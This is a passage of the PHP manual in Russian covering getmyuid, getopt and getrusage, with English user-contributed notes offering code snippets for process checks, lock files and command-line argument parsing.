eight_hf at live dot fr 07-Jul-2012 12:19
On Linux you can check if a process is still running by verifying if the PID exists in the /proc directory :

<?php
if(file_exists('/proc/'.$pid))
{
    echo 'The process is still running.';
}
?>
pdc at example dot com 29-Dec-2011 12:50
Here is how you'd use exec on a posix system to accomplish counting processes quickly.

I want to know how many processes are running with 'update.php' in the command:

ps aux|grep "[u]pdate.php"|wc -l

(the trick of using [u]pdate.php instead of update.php makes sure that the grep command itself is not matched).  Be sure to use quotes in the command, or it won't work either.

So, the code:

<?php
function countProcesses($scriptName)
{
    // ps aux|grep "[u]pdate.php"|wc -l
    $first    =    substr($scriptName, 0, 1);
    $rest    =    substr($scriptName, 1);

    $name    =    '"['.$first.']'.$rest.'"';
    $cmd    =    "ps aux | grep $name | wc -l";

    $result    =    exec($cmd);

    return $result;
}
?>
wouter99999 at gmail dot com 05-Jun-2011 03:03
On windows, ps is not available. Instead, to view a list of running processes, you can use exec('tasklist'); To kill processes you can use exec('taskkill); Enter taskkill /? for more information.
Robert Mays Jr 04-May-2011 09:39
All of the examples above require you to have shell command execution turned on- this example uses only PHP functions and should work on any system (posix is included by default)-

the key is posix_getsid which will return FALSE if the processes does not exist.

<?php
$lockfile = sys_get_temp_dir() . '/myScript.lock';
$pid = file_get_contents($lockfile);
if (posix_getsid($pid) === false) {
   print "process has died! restarting...\n";
   file_put_contents($lockfile, getmypid()); // create lockfile
} else {
   print "PID is still alive! can not run twice!\n";
   exit;
}
?>

:-) perfect if you need to make sure a cron job or shell script has ended before it can be started again.

This works across users- if the cron job is started as 'root' your 'web user' can see if the process is still alive (useful for system status pages)
gabe at fijiwebdesign dot com 02-Feb-2010 09:53
Based on what james at voodoo dot co dot uk said, but modified for CLI scripts (ie: there is no $_SERVER).

<?php

/**
 * Check for a current process by filename
 * @param $file[optional] Filename
 * @return Boolean
 */
function processExists($file = false) {

    $exists     = false;
    $file       = $file ? $file : __FILE__;

    // Check if file is in process list
    exec("ps -C $file -o pid=", $pids);
    if (count($pids) > 1) {
        $exists = true;
    }
    return $exists;
}

?>
james at voodoo dot co dot uk 25-Dec-2009 01:50
The 'ps' command has an option that can make filtering for a specific process more efficient.  Using this the work of looking for matching processes can be made neater:

<?php
    /*
    Return an array of the pids of the processes that are running for the specific command
    e.g.
        returnPids('myprocess.php');
    */
    function returnPids($command) {
        exec("ps -C $command -o pid=",$pids);
        foreach ($pids as $key=>$value) $pids[$key]=trim($value);
        return $pids;
    }

    /*
    Returns an array of the pids for processes that are like me, i.e. my program running
    */
    function returnMyPids() {
        return returnPids(basename($_SERVER["SCRIPT_NAME"]));
    }
?>

e.g. to bomb out if I'm running already

if (count(returnMyPids())>1) exit;
Erickson Reyes ercbluemonday at yahoo dot com 10-Nov-2009 05:01
We also had this challenge in our company to prevent a php script in a cron job from overlapping each other.

We made this solution

<?php
        // Initialize variables
    $found            = 0;
    $file                 = basename(__FILE__);
    $commands    = array();

        // Get running processes.
    exec("ps w", $commands);

        // If processes are found
    if (count($commands) > 0) {

        foreach ($commands as $command) {
            if (strpos($command, $file) === false) {
                               // Do nothin'
            }
            else {
                               // Let's count how many times the file is found.
                $found++;
            }
        }
    }

        // If the instance of the file is found more than once.
    if ($found > 1) {
        echo "Another process is running.\n";
        die();
    }

        /**
        *
        * Regular process here...
        *
        */
?>
Kevin Traas (ktraas- at -gmail dot com) 25-Sep-2009 01:51
Looking to create a lock-file mechanism for a cmd-line script?

Enjoy!

#!/usr/bin/php
<?php

define( 'LOCK_FILE', "/var/run/".basename( $argv[0], ".php" ).".lock" );
if( isLocked() ) die( "Already running.\n" );

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

unlink( LOCK_FILE );
exit(0);

function isLocked()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if( file_exists( LOCK_FILE ) )
    {
        # check if it's stale
        $lockingPID = trim( file_get_contents( LOCK_FILE ) );

       # Get all active PIDs.
        $pids = explode( "\n", trim( `ps -e | awk '{print $1}'` ) );

        # If PID is still active, return true
        if( in_array( $lockingPID, $pids ) )  return true;

        # Lock-file is stale, so kill it.  Then move on to re-creating it.
        echo "Removing stale lock file.\n";
        unlink( LOCK_FILE );
    }

    file_put_contents( LOCK_FILE, getmypid() . "\n" );
    return false;

}
?>
kroczu at interia dot pl 19-Dec-2005 04:59
<?php
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
    [USER] => user
    [PID] => 12345
    [%CPU] => 0.0
    [%MEM] => 0.0
    [VSZ] => 1720
    [RSS] => 8
    [TT] => ??
    [STAT] => Is
    [STARTED] => 6:00PM
    [TIME] => 0:00.01
    [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
      trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
      return false;
   }

   foreach($ps as $key=>$val){
      $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
      $pidinfo[$val] = $ps[1][$key];
      unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
      $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP 21-Mar-2005 02:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net 24-Oct-2003 05:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

<?php
$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);
?>

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.


Получение UID владельца скрипта PHP

  • « getmypid
  • getopt »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получение UID владельца скрипта PHP

getmyuid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyuid — Получение UID владельца скрипта PHP

Описание

getmyuid(): int|false

Получает идентификатор пользователя текущего скрипта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор пользователя текущего скрипта или false в случае ошибки.

Смотрите также

  • getmygid() - Получить GID владельца скрипта PHP
  • getmypid() - Получение ID процесса PHP
  • get_current_user() - Получает имя владельца текущего скрипта PHP
  • getmyinode() - Получает значение inode текущего скрипта
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

divinity76+spam at gmail dot com 14-Jan-2022 11:10
warning, at least 7.4-8.1 returns the owner of the initial entrypoint file rather the currently executing file,
meaning, if you have a.php owned by 1 containing
<?php var_dump(getmyuid());require_once("b.php"); ?>
and b.php owned by 2 containing
<?php var_dump(getmyuid());require_once("a.php"); ?>
running "php a.php" will get you int(1) int(1), and running "php b.php" will get you int(2) int(2), you won't get "int(1) int(2)"
bozo_z_clown at yahoo dot com 20-Jun-2007 11:06
Note that this function really does what the description says, it returns the numeric user id of the user who *owns the file* containing the current script not the effective user id of user *running* the current script.  Most applications will want the latter which is provided by posix_getuid().


Получает параметры из списка аргументов командной строки

  • « getmyuid
  • getrusage »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает параметры из списка аргументов командной строки

getopt

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

getopt — Получает параметры из списка аргументов командной строки

Описание

getopt(string $short_options, array $long_options = [], int &$rest_index = null): array|false

Анализирует параметры переданные в скрипт.

Список параметров

short_options
Каждый символ в этой строке будет рассматриваться как параметр и сравниваться с символами, переданными в скрипт, перед которыми будет стоять дефис (-). Например, строка параметров "x" распознается, как параметр -x. Допускаются только символы a-z, A-Z и 0-9.
long_options
Массив параметров. Каждый элемент массива будет использоваться как строковый параметр и сравниваться с параметрами, переданными в скрипт, перед которыми будет стоять двойной дефис (--). Например, элемент longopts "opt" будет расшифровываться как --opt.
rest_index
Если задан параметр rest_index, то индекс, на котором остановился разбор, будет записан в него.

Аргумент short_options может содержать следующие элементы:

  • Отдельные символы (не имеющие значений)
  • Символы, за которыми следует двоеточие (параметр требует значения)
  • Символы, за которыми следует два двоеточия (необязательное значение)
Значения параметров идут сразу за строкой параметра (символом). Если требуется значение, то нет разницы, есть между ними пробел или нет.

Замечание: Необязательные значения нельзя отделять от других пробелом " ".

Значения массива long_options могут содержать:

  • Строка (параметр не принимает никаких значений)
  • Строка, за которой следует двоеточие (параметр требует значения)
  • Строка, за которой следует два двоеточия (необязательное значение)

Замечание:

Форматы short_options и long_options практически совпадают. Различие состоит только в том, что long_options принимает массив параметров (в котором каждый элемент является параметром) в то время, как short_options принимает строку (где параметром является каждый символ).

Возвращаемые значения

Функция вернёт массив пар параметров / аргументов или false в случае возникновения ошибки.

Замечание:

Как только встретится первый символ, не являющийся параметром, разбор строки команды будет завершён, а оставшаяся часть строки будет проигнорирована.

Список изменений

Версия | Описание
7.1.0 | Добавлен параметр rest_index.

Примеры

Пример #1 Пример использования getopt(): основы

<?php
// Скрипт example.php
$options = getopt("f:hp:");
var_dump($options);
?>
shell> php example.php -fvalue -h

Результат выполнения данного примера:

array(2) {
  ["f"]=>
  string(5) "value"
  ["h"]=>
  bool(false)
}

Пример #2 Пример использования getopt(): добавление длинных опций

<?php
// Скрипт example.php
$shortopts = "";
$shortopts .= "f:"; // Обязательное значение
$shortopts .= "v::"; // Необязательное значение
$shortopts .= "abc"; // Эти параметры не принимают никаких значений

$longopts = array(
"required:", // Обязательное значение
"optional::", // Необязательное значение
"option", // Нет значения
"opt", // Нет значения
);
$options = getopt($shortopts, $longopts);
var_dump($options);
?>
shell> php example.php -f "value for f" -v -a --required value --optional="optional value" --option

Результат выполнения данного примера:

array(6) {
  ["f"]=>
  string(11) "value for f"
  ["v"]=>
  bool(false)
  ["a"]=>
  bool(false)
  ["required"]=>
  string(5) "value"
  ["optional"]=>
  string(14) "optional value"
  ["option"]=>
  bool(false)
}

Пример #3 Пример использования getopt(): Передача нескольких параметров как одного

<?php
// Скрипт example.php
$options = getopt("abc");
var_dump($options);
?>
shell> php example.php -aaac

Результат выполнения данного примера:

array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
    [2]=>
    bool(false)
  }
  ["c"]=>
  bool(false)
}

Пример #4 Пример getopt() с параметром rest_index

<?php
// Скрипт example.php
$rest_index = null;
$opts = getopt('a:b:', [], $rest_index);
$pos_args = array_slice($argv, $rest_index);
var_dump($pos_args);
shell> php example.php -a 1 -b 2 -- test

Результат выполнения данного примера:

array(1) {
  [0]=>
  string(4) "test"
}

Смотрите также

  • $argv

User Contributed Notes

S2 26-Jul-2022 04:55
As noted the options not required or optional (parameter does not accept any value) only returns the index key with a value of FALSE when provided as an argument. That is counter-intuitive to how the option will likely be used, so simply leverage the keys existence and reset the variable's index for that option:

<?php
$options = getopt('', ['update', 'insert']);
$options['update'] = array_key_exists('update', $options);
$options['insert'] = array_key_exists('insert', $options);

var_dump($options);
?>

shell> php testfile.php --insert

array(2) {
  ["update"]=>
  bool(false)
  ["insert"]=>
  bool(true)
}
Dominik Deobald 26-Jan-2022 01:51
This documentation never really explains the logic behind $short_options and just expects that you get it from reading the examples.

So if you are like me and start to think that the order of letters between the ":" characters has anything to say, think simpler.

It really is...
- every letter in the string will be allowed as a parameter,
- if that letter has ONE colon after it, then it will require a value
- if it has TWO colons, then it can accept a value
- the order of the letters does not matter at all as long as the colons are where they belong.

That means that these two examples are the same: "ab::c:def:" <-> "adec:f:b::"
edg at Greenberg dot org 12-Aug-2021 12:22
> This function will return an array of option / argument pairs, or false on failure.

I note that on my PHP 7.4 installation, getopt returns an empty array for no options specified, not FALSE as the doc states.  Although "failure" is rather non-specific.  Maybe that doesn't include the condition of no options.
gingko at gingko dot ovh 20-May-2021 12:38
Unfortunately, even using Example #4 do not allow to easily detect a bad -x or --xx argument as the last -x or --xx is always "eaten" even if it is bad:

If I use this (Example #4) :
<?php
// Script example.php
$rest_index = null;
$opts = getopt('a:b:', [], $rest_index);
$pos_args = array_slice($argv, $rest_index);
var_dump($pos_args);
?>

shell> php example.php -a 1 -b 2
shell> php example.php -a 1 -b 2 --test
shell> php example.php -a 1 -tb 2

All return the same result (-t and --test not defined) :

array(0) {
}

(last one use combining single letters, making user testing much much more complicated)
taka8aru at gmail dot com 20-Jun-2020 08:40
getopt() simply ignores unnecessary options specified in argv.
Many times, it does not work well to handle errors in command line.

A package PEAR::Console_Getopt can handle this problem, but it requires additonal installation.
GNU getopt(1) does well at shell level.

Following is my extended getopt() can detect unnecessary options:

<?php
function getoptex($sopt, $lopt, &$ind)
{
    global $argv, $argc;

    $sopts = getopt($sopt, $lopt);
    $sopts_cnt = count($sopts); // single-option count based on original sopt

    $asopt = $sopt . implode("", range("a", "z")) . implode("", range("A", "Z")) . implode("", range("0", "9"));
    $asopts = getopt($asopt, $lopt);
    $asopts_cnt = count($asopts); // actual single-option count including all single options even if is not listed as sopt

    $lopt_trim = array();
    foreach ($lopt as $o) {
        $lopt_trim[] = trim($o, ":");
    }
    $alopts_cnt = 0;
    $alopts_flag = true;
    for ($i = 1; $i < $argc; $i++) {
        if ($argv[$i] === "--") { // end of option
            break;
        }
        if (strpos($argv[$i], "--") === 0) { // actual long-option
            $alopts_cnt++;
            $o = substr($argv[$i], 2);
            if (! in_array($o, $lopt_trim)) { // but it is not listed as lopt
                $alopts_flag = false;
            } else {
                if (in_array(($o . ":"), $lopt)) { // if the option requires value
                    $i++; // assume next is the value
                    if ($i >= $argc) { // and the value is missing
                        $alopts_flag = false;
                        break;
                    }
                }
            }
        }
    }

    //var_dump($sopts, $asopts, $lopts, $alopts_cnt, $alopts_flag);
    if ($sopts_cnt != $asopts_cnt || (! $alopts_flag)) {
        return false;
    } else {
        return getopt($sopt, $lopt, $ind);
    }
}
?>
rastyazhenko dot anton at gmail dot com 29-Dec-2019 03:14
$opts = getopt('', $params = ['ogrn:','inn:','kpp::','host:','port:','user:','pass:','path:','pattern:']) + ['kpp' => 0,'port' => 21,'path' => '/','pattern' => '.+\.dbf'];

array_map(function ($param) use ($opts) {
    $matches = [];
    if ((bool)preg_match('/(?<param>[^:\s]+)\b:$/sU', $param, $matches)
        && (!array_key_exists($matches['param'], $opts) || empty($opts[$matches['param']])))
        die(sprintf('<prtg><error>1</error><text>%s not set</text></text></error></prtg>', $matches['param']));
}, $params);
Sane Guy 17-Sep-2018 12:40
Be sure to wrap your head around this PHP jewel that took me a while to comprehend:

The returned array will contain a boolean FALSE for options that HAVE been specified.

Because why use TRUE to indicate "yes, it's there" when you can also use FALSE for that purpose, right? This is completely counter-intuitive and is most certainly only ever possible in PHP-land.
Matt 24-May-2018 03:35
Beware, this function can be dangerous for options following arguments when, for example, you make use of a --dry-run option, due to this behaviour:

"Note: The parsing of options will end at the first non-option found, anything that follows is discarded."

My script was doing a live run even though I specified --dry-run as the last part of the command like this `php foo.php arg1 --dry-run`: getopt() did NOT include dry-run in its list of options resulting in my script executing a live run.
salimzadehsajad at gmail dot com 02-Sep-2017 05:16
if you use command like below
    php [filename] [argument without (-) ] [options]
getopt don't return value. you can use this function

function getoptions() {
    global $argv,$argc;
    $options = array();
    for($i = 0;$i < $argc;$i++) {
        $arg = $argv[$i];
        if(strlen($arg) > 1 && $arg[0] == '-') {
            if($arg[1] == '-' && $i + 1 < $argc) { $i++; $options[substr($arg,2,strlen($arg))] = $argv[$i]; }
            else $options[$arg[1]] = substr($arg,2,strlen($arg));
        }
    }
    return $options;
}
wouter dot berben at phpro dot be 10-Jan-2017 10:37
Your description on getopt is either wrong or the documentation of the function is wrong.

-- snippet --
array getopt ( string $options [, array $longopts [, int &$optind ]] )
--

As I read this only the first parameter string $options is required.

-- snippet --
longopts
An array of options. Each ...

optind
If the optind parameter is present, ...
--

This means that "longopts" is optional, but the third parameter "optind" is required (although the description leaves room for interpretation). This is against the possibilities of PHP because when a parameter is declared optional all following parameters must be declared optional as well.

See http://php.net/manual/en/functions.arguments.php Example #4 and #5.

The immutable embedded stub (PHPStorm) [ https://github.com/JetBrains/phpstorm-stubs/blob/master/standard/standard_3.php ] specifies this:
-- snippet --
function getopt ($options, array $longopts = null, &$optind) {}
--

Which is also wrong, but probably based upon this documentation.
micropresident at gmail dot com 12-Apr-2016 01:21
when using -f option to indicate script name, php does not allow to use double dash -- to define options after the script name;

For example, the following command  cannot be execute:
php -f myscript.php --config "myconfig.ini"
housni dot yakoob at NOSPAM dot gmail dot com 17-Jun-2015 11:14
To elaborate on what 'ch1902' said, there certainly are instances where you may need to execute a script via CLI and the HTTP protocol. In such an instance, you can normalize how your script parses via CLI (using getopt()) as well as via HTTP (using $_GET) with the following simplified code:

<?php
// PHP 5.4+ only due to the new array brace style.
function request(array $options = []) {
    // Set the default values.
    $defaults = [
        'params' => '',
        'os' => '',
        'username' => posix_getpwuid(posix_geteuid())['name'],
        'env' => ''
    ];
    $options += $defaults;

    // Sufficient enough check for CLI.
    if ('cli' === PHP_SAPI) {
        return getopt('', ['params:', 'os::', 'username::', 'env::']) + $options;
    }
    return $_GET + $options;
}

print_r(request());
?>

The above code would yield the results below when access via CLI and HTTP.

/**
 * params = foo/bar
 * username = housni.yakoob
 */
// CLI
$ php script.php --params=foo/bar --username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

// HTTP
script.php?params=foo/bar&username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

/**
 * params = foo/bar
 * username = Not provided, therefore, the default value will be used.
 */
// CLI
$ whoami && php script.php --params=foo/bar
housni // <-- Current users usersname (output of `whoami`).
Array
(
    [params] => foo/bar
    [os] =>
    [username] => housni
    [env] =>
)

// HTTP
script.php?params=foo/bar
Array
(
    [params] => foo/bar
    [os] =>
    // The username of my Apache user, the result of posix_getpwuid(posix_geteuid())['name']
    [username] => www-data
    [env] =>
)

As you can see, the output is consistent when the script is executed via the CLI or the web.
takingsides at gmail dot com 09-Mar-2014 03:16
As already mentioned getopt() will stop parsing options upon the '--'.  Sometimes you will have options and arguments but the user may not always provide the explicit -- option.

Below is a quick way to collect options and arguments regardless of the -- consistently.

#!/usr/bin/php
<?php

$options = getopt('hl::m:v:a', [
    'help',
    'list::',
    'module:',
    'version:',
    'all',
]);

var_dump( $options );

$args = array_search('--', $argv);
$args = array_splice($argv, $args ? ++$args : (count($argv) - count($opt)));

var_dump( $args );
?>
ch1902 18-Aug-2013 03:37
Sometimes you will want to run a script from both the command line and as a web page, for example to debug with better output or a command line version that writes an image to the system but a web version that prints the image in the browser. You can use this function to get the same options whether passed as command line arguments or as $_REQUEST values.

<?php
/**
 * Get options from the command line or web request
 *
 * @param string $options
 * @param array $longopts
 * @return array
 */
function getoptreq ($options, $longopts)
{
   if (PHP_SAPI === 'cli' || empty($_SERVER['REMOTE_ADDR']))  // command line
   {
      return getopt($options, $longopts);
   }
   else if (isset($_REQUEST))  // web script
   {
      $found = array();

      $shortopts = preg_split('@([a-z0-9][:]{0,2})@i', $options, 0, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
      $opts = array_merge($shortopts, $longopts);

      foreach ($opts as $opt)
      {
         if (substr($opt, -2) === '::')  // optional
         {
            $key = substr($opt, 0, -2);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
            else if (isset($_REQUEST[$key]))
               $found[$key] = false;
         }
         else if (substr($opt, -1) === ':')  // required value
         {
            $key = substr($opt, 0, -1);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
         }
         else if (ctype_alnum($opt))  // no value
         {
            if (isset($_REQUEST[$opt]))
               $found[$opt] = false;
         }
      }

      return $found;
   }

   return false;
}
?>

Example

<?php
// php script.php -a -c=XXX -e=YYY -f --two --four=ZZZ --five=5
// script.php?a&c=XXX&e=YYY&f&two&four=ZZZ&five=5

$opts = getoptreq('abc:d:e::f::', array('one', 'two', 'three:', 'four:', 'five::'));

var_dump($opts);

/**
array(7) {
  'a' => bool(false)
  'c' => string(3) "XXX"
  'e' => string(3) "YYY"
  'f' => bool(false)
  'two' => bool(false)
  'four' => string(3) "ZZZ"
  'five' => string(1) "5"
}
*/
?>
Anonymous 02-Feb-2011 04:33
getopt() only returns the options specified if they were listed in the options.

So you cant make a switch() use default: to complain of an unknown option. :(
mpartap at gmx dot net 24-Oct-2010 01:39
Here's another way of removing options found by getopt() from the argv[] array. It handles the different kind of parameters without eating chunks that do not belong to an --option. (-nr foo param1 param2 foo)
<?php
$parameters = array(
  'n' => 'noparam',
  'r:' => 'required:',
  'o::' => 'optional::',
);

$options = getopt(implode('', array_keys($parameters)), $parameters);
$pruneargv = array();
foreach ($options as $option => $value) {
  foreach ($argv as $key => $chunk) {
    $regex = '/^'. (isset($option[1]) ? '--' : '-') . $option . '/';
    if ($chunk == $value && $argv[$key-1][0] == '-' || preg_match($regex, $chunk)) {
      array_push($pruneargv, $key);
    }
  }
}
while ($key = array_pop($pruneargv)) unset($argv[$key]);
?>
geoff at gosquared dot com 08-May-2010 05:05
It seems under PHP 5.3.2, getopt() makes a script fail to load if called via HTTP without any conditions. You'll need something like if(isset($_SERVER['argc'])) $args = getopt(); to prevent that.
mbirth at webwriters dot de 24-May-2008 01:41
After getopt() of PHP5.3.0 (on Windows) ignored some parameters if there was a syntactical problem, I decided to code my own generic parameter parser.

<?php
    /**
     * Parses $GLOBALS['argv'] for parameters and assigns them to an array.
     *
     * Supports:
     * -e
     * -e <value>
     * --long-param
     * --long-param=<value>
     * --long-param <value>
     * <value>
     *
     * @param array $noopt List of parameters without values
     */
    function parseParameters($noopt = array()) {
        $result = array();
        $params = $GLOBALS['argv'];
        // could use getopt() here (since PHP 5.3.0), but it doesn't work relyingly
        reset($params);
        while (list($tmp, $p) = each($params)) {
            if ($p{0} == '-') {
                $pname = substr($p, 1);
                $value = true;
                if ($pname{0} == '-') {
                    // long-opt (--<param>)
                    $pname = substr($pname, 1);
                    if (strpos($p, '=') !== false) {
                        // value specified inline (--<param>=<value>)
                        list($pname, $value) = explode('=', substr($p, 2), 2);
                    }
                }
                // check if next parameter is a descriptor or a value
                $nextparm = current($params);
                if (!in_array($pname, $noopt) && $value === true && $nextparm !== false && $nextparm{0} != '-') list($tmp, $value) = each($params);
                $result[$pname] = $value;
            } else {
                // param doesn't belong to any option
                $result[] = $p;
            }
        }
        return $result;
    }
?>

A call like: php.exe -f test.php -- alfons -a 1 -b2 -c --d 2 --e=3=4 --f "alber t" hans wurst

and an in-program call parseParameters(array('f')); would yield in a resulting array:

Array
(
    [0] => alfons
    [a] => 1
    [b2] => 1
    [c] => 1
    [d] => 2
    [e] => 3=4
    [f] => 1
    [1] => alber t
    [2] => hans
    [3] => wurst
)

As you can see, values without an identifier are stored with numeric indexes. Existing identifiers without values get "true".
uberlinuxguy at tulg dot org 25-Apr-2008 01:26
One thing of important note would be that getopt() actually respects the '--' option to end an option list.  Thus given the code:

test.php:
<?php
    $options = getopt("m:g:h:");
    if (!is_array($options) ) {
        print "There was a problem reading in the options.\n\n";
        exit(1);
    }
    $errors = array();
    print_r($options);
?>

And running:

# ./test.php ./run_vfs  -h test1 -g test2 -m test3 -- this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => test3
)

Whereas running:
# /test.php ./run_vfs  -h test1 -g test2 -m test3 this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => Array
        (
            [0] => test3
            [1] => green
        )

)
Francois Hill 19-Nov-2007 12:44
Although very interesting, koenbollen at gnospamail dot com's update of the argv array fails when option values follow the option with no space :
Indeed
    php MyScript.php5 -t5
and
    php MyScript.php5 -t 5
with $options="t:" are treated as the same by getopt.

This upgraded function should take care of it :

File : shift_test.php5
<?php
    function shift($options_array)
    {
        foreach( $options_array as $o => $a )
        {
            // Look for all occurrences of option in argv and remove if found :
            // ----------------------------------------------------------------
            // Look for occurrences of -o (simple option with no value) or -o<val> (no space in between):
            while($k=array_search("-".$o.$a,$GLOBALS['argv']))
            {    // If found remove from argv:
                if($k)
                    unset($GLOBALS['argv'][$k]);
            }
            // Look for remaining occurrences of -o <val> (space in between):
            while($k=array_search("-".$o,$GLOBALS['argv']))
            {    // If found remove both option and value from argv:
                if($k)
                {    unset($GLOBALS['argv'][$k]);
                    unset($GLOBALS['argv'][$k+1]);
                }
            }
        }
        // Reindex :
        $GLOBALS['argv']=array_merge($GLOBALS['argv']);
    }

    print_r($argv);
    $options_array=getopt('t:h');
    shift($options_array);
    print_r($argv);
?>

>php shift_test.php5 -h -t4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t4
    [3] => param1
    [4] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)

>php shift_test.php5 -h -t 4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t
    [3] => 4
    [4] => param1
    [5] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)
Damien B. 07-Nov-2007 10:47
This is how I handle arguments with getopt: I use switch within a foreach at the beginning of a program.

<?php

$opts = getopt('hs:');

// Handle command line arguments
foreach (array_keys($opts) as $opt) switch ($opt) {
  case 's':
    // Do something with s parameter
    $something = $opts['s'];
    break;

  case 'h':
    print_help_message();
    exit(1);
}

print "$something\n";

?>
koenbollen at gnospamail dot com 29-Mar-2007 12:51
After you use the getopt function you can use the following script to update the $argv array:
<?php
  $options = "c:ho:s:t:uvV";
  $opts = getopt( $options );
  foreach( $opts as $o => $a )
  {
    while( $k = array_search( "-" . $o, $argv ) )
    {
      if( $k )
        unset( $argv[$k] );
      if( preg_match( "/^.*".$o.":.*$/i", $options ) )
        unset( $argv[$k+1] );
    }
  }
  $argv = array_merge( $argv );
?>
Note: I used the array_merge function to reindex the array's keys.

Cheers, Koen Bollen
17-Jan-2007 11:59
About getopt(String):
 Parses the command-line arguments into an associative array, using the function's String parameter to specify arguments and options, thus:
* arguments are specified as any letter followed by a colon, e.g. "h:".
* arguments are returned as "h" => "value".
* options are specified as any letter not followed by a colon, e.g. "r".
* options are returned as "r" => (boolean) false.

Also note that:
1) Options or arguments not passed in the command-line parameters are not set in the returned associative array.
2) Options or arguments present in the command-line arguments multiple times are returned as an enumerated array within the returned associative array.
joey at alegria dot co dot jp 30-Apr-2006 09:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
chris at tiny dot net 23-Apr-2004 07:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
    [f] => a
)
$ opt.php -f 'a b c'
Array
(
    [f] => a b c
)
$ opt.php -f "a b c"
Array
(
    [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
    [f] => a b c
)
$


Получает информацию об использовании текущего ресурса

  • « getopt
  • ini_alter »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает информацию об использовании текущего ресурса

getrusage

(PHP 4, PHP 5, PHP 7, PHP 8)

getrusage — Получает информацию об использовании текущего ресурса

Описание

getrusage(int $mode = 0): array|false

Это интерфейс к getrusage(2). Функция получает данные, возвращаемые из системного вызова.

Список параметров

mode

Если аргумент mode равен 1, getrusage будет вызвана с RUSAGE_CHILDREN.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий данные возвращённые из системного вызова. Имена элементов соответствуют документированным именам полей. Возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.0.0 | Добавлен поддержка этой функции в Windows.

Примеры

Пример #1 Пример использования getrusage()

<?php
$dat = getrusage();
echo $dat["ru_oublock"]; // количество операций вывода блока
echo $dat["ru_inblock"]; // количество операций приёма блока
echo $dat["ru_msgsnd"]; // количество отправленных сообщений IPC
echo $dat["ru_msgrcv"]; // количество принятых сообщений IPC
echo $dat["ru_maxrss"]; // наибольший размер установленной резидентной памяти
echo $dat["ru_ixrss"]; // суммарное значение размера разделяемой памяти
echo $dat["ru_idrss"]; // суммарное значение размера неразделяемых данных
